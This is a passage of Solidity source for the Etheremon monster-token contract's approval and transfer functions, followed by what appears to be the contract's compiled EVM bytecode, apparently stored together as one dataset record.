(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(msg.sender == obj.trainer);
require(msg.sender != _to);
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
allowed[msg.sender][_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) requireDataContract requireBattleContract requireTradeContract isActive external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(msg.sender != obj.trainer);
require(allowed[obj.trainer][_tokenId] == msg.sender);
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[obj.trainer][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(msg.sender, obj.monsterId);
Transfer(obj.trainer, msg.sender, _tokenId);
}
function transfer(address _to, uint256 _tokenId) requireDataContract isActive external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(obj.trainer == msg.sender);
require(msg.sender != _to);
require(_to != address(0));
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[obj.trainer][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(_to, obj.monsterId);
Transfer(obj.trainer, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) requireDataContract requireBattleContract requireTradeContract external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(obj.trainer == _from);
require(_to != address(0));
require(_to != _from);
require(allowed[_from][_tokenId] == msg.sender);
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[_from][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(_to, obj.monsterId);
Transfer(obj.trainer, _to, _tokenId);
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant requireDataContract returns (uint tokenId) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.getMonsterObjId(_owner, _index);
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d15780630d6688181461021357806314d0f1ba1461026857806318160ddd146102b957806323b872dd146102e257806329291054146103435780632f745c59146103ba578063423b1ca31461041057806348ef5aa8146104655780634efb023e1461048a5780636352211e146104bb5780636c81fd6d1461051e57806370a0823114610557578063739f660d146105a45780638a0520fb146106265780638da5cb5b1461068057806395d89b41146106d5578063a9059cbb14610763578063b2e6ceeb146107a5578063b85d6275146107c8578063ee4e441614610801578063f28532921461082e578063ffa640d814610867575b600080fd5b341561014e57600080fd5b6101566108bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108f5565b005b341561021e57600080fd5b610226610ec2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027357600080fd5b61029f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ee8565b604051808215151515815260200191505060405180910390f35b34156102c457600080fd5b6102cc610f08565b6040518082815260200191505060405180910390f35b34156102ed57600080fd5b610341600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611025565b005b341561034e57600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118c0565b005b34156103c557600080fd5b6103fa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119e7565b6040518082815260200191505060405180910390f35b341561041b57600080fd5b610423611b46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047057600080fd5b61048860048080351515906020019091905050611b6c565b005b341561049557600080fd5b61049d611be4565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156104c657600080fd5b6104dc6004808035906020019091905050611bf8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561052957600080fd5b610555600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e33565b005b341561056257600080fd5b61058e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f73565b6040518082815260200191505060405180910390f35b34156105af57600080fd5b6105e4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506120bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561063157600080fd5b610666600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612101565b604051808215151515815260200191505060405180910390f35b341561068b57600080fd5b6106936125e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e057600080fd5b6106e861260d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072857808201518184015260208101905061070d565b50505050905090810190601f1680156107555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561076e57600080fd5b6107a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612646565b005b34156107b057600080fd5b6107c66004808035906020019091905050612d9a565b005b34156107d357600080fd5b6107ff600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506135e1565b005b341561080c57600080fd5b610814613722565b604051808215151515815260200191505060405180910390f35b341561083957600080fd5b610865600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613735565b005b341561087257600080fd5b61087a61380a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600e81526020017f4574686572656d6f6e417373657400000000000000000000000000000000000081525081565b60006108ff613830565b600080600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561096057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156109be57600080fd5b600260009054906101000a900460ff161515156109da57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b1515610a8a57600080fd5b6102c65a03f11515610a9b57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff16141515610b9e57600080fd5b826040015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bdc57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b1515610cf057600080fd5b6102c65a03f11515610d0157600080fd5b5050506040518051905080610dbc57508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b1515610da057600080fd5b6102c65a03f11515610db157600080fd5b505050604051805190505b15610dc657600080fd5b85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040518082815260200191505060405180910390a3505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610f6957600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16637a09defe6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610ffa57600080fd5b6102c65a03f1151561100b57600080fd5b5050506040518051905067ffffffffffffffff1691505090565b600061102f613830565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561109057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156110ee57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561114c57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b15156111fc57600080fd5b6102c65a03f1151561120d57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff1614151561131057600080fd5b8673ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff1614151561134e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561138a57600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515156113c557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561146f57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561154857600080fd5b6102c65a03f1151561155957600080fd5b505050604051805190508061161457508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b15156115f857600080fd5b6102c65a03f1151561160957600080fd5b505050604051805190505b1561161e57600080fd5b6000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561176c57600080fd5b6102c65a03f1151561177d57600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e8785600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561183a57600080fd5b6102c65a03f1151561184b57600080fd5b5050508573ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a350505050505050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561191f57600080fd5b82600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611a4857600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166375fe2e3385856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611b1857600080fd5b6102c65a03f11515611b2957600080fd5b5050506040518051905067ffffffffffffffff1691505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc757600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600060149054906101000a900461ffff1681565b600080611c03613830565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611c6157600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff16630720246085600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b1515611d1157600080fd5b6102c65a03f11515611d2257600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190508760000188602001896040018a6080018b60a0018c60c0018d60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508367ffffffffffffffff16816000015167ffffffffffffffff16141515611e2557600080fd5b806040015192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e8e57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611f705760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611fd457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166347c17bac846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561209c57600080fd5b6102c65a03f115156120ad57600080fd5b50505060405180519050915050919050565b60036020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061210c613830565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561216d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156121cb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561222957600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246087600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b15156122d957600080fd5b6102c65a03f115156122ea57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508567ffffffffffffffff16836000015167ffffffffffffffff161415156123f157600094506125de565b8673ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff1614151561243357600094506125de565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561250c57600080fd5b6102c65a03f1151561251d57600080fd5b505050604051805190501580156125db57508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b15156125be57600080fd5b6102c65a03f115156125cf57600080fd5b50505060405180519050155b94505b5050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f454d4f4e4100000000000000000000000000000000000000000000000000000081525081565b6000612650613830565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156126b157600080fd5b600260009054906101000a900460ff161515156126cd57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b151561277d57600080fd5b6102c65a03f1151561278e57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff1614151561289157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff161415156128cf57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561290a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561294657600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b1515612a1f57600080fd5b6102c65a03f11515612a3057600080fd5b5050506040518051905080612aeb57508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b1515612acf57600080fd5b6102c65a03f11515612ae057600080fd5b505050604051805190505b15612af557600080fd5b600060036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515612c4757600080fd5b6102c65a03f11515612c5857600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e8785600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515612d1557600080fd5b6102c65a03f11515612d2657600080fd5b5050508573ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3505050505050565b6000612da4613830565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612e0557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612e6357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612ec157600080fd5b600260009054906101000a900460ff16151515612edd57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b1515612f8d57600080fd5b6102c65a03f11515612f9e57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff161415156130a157600080fd5b826040015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156130e057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1660036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561318e57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561326757600080fd5b6102c65a03f1151561327857600080fd5b505050604051805190508061333357508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561331757600080fd5b6102c65a03f1151561332857600080fd5b505050604051805190505b1561333d57600080fd5b600060036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561348f57600080fd5b6102c65a03f115156134a057600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e3385600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561355d57600080fd5b6102c65a03f1151561356e57600080fd5b5050503373ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561363c57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561371f576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561379057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561380757806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61010060405190810160405280600067ffffffffffffffff168152602001600063ffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016138806138b4565b8152602001600063ffffffff168152602001600063ffffffff168152602001600063ffffffff16815260200160008152509056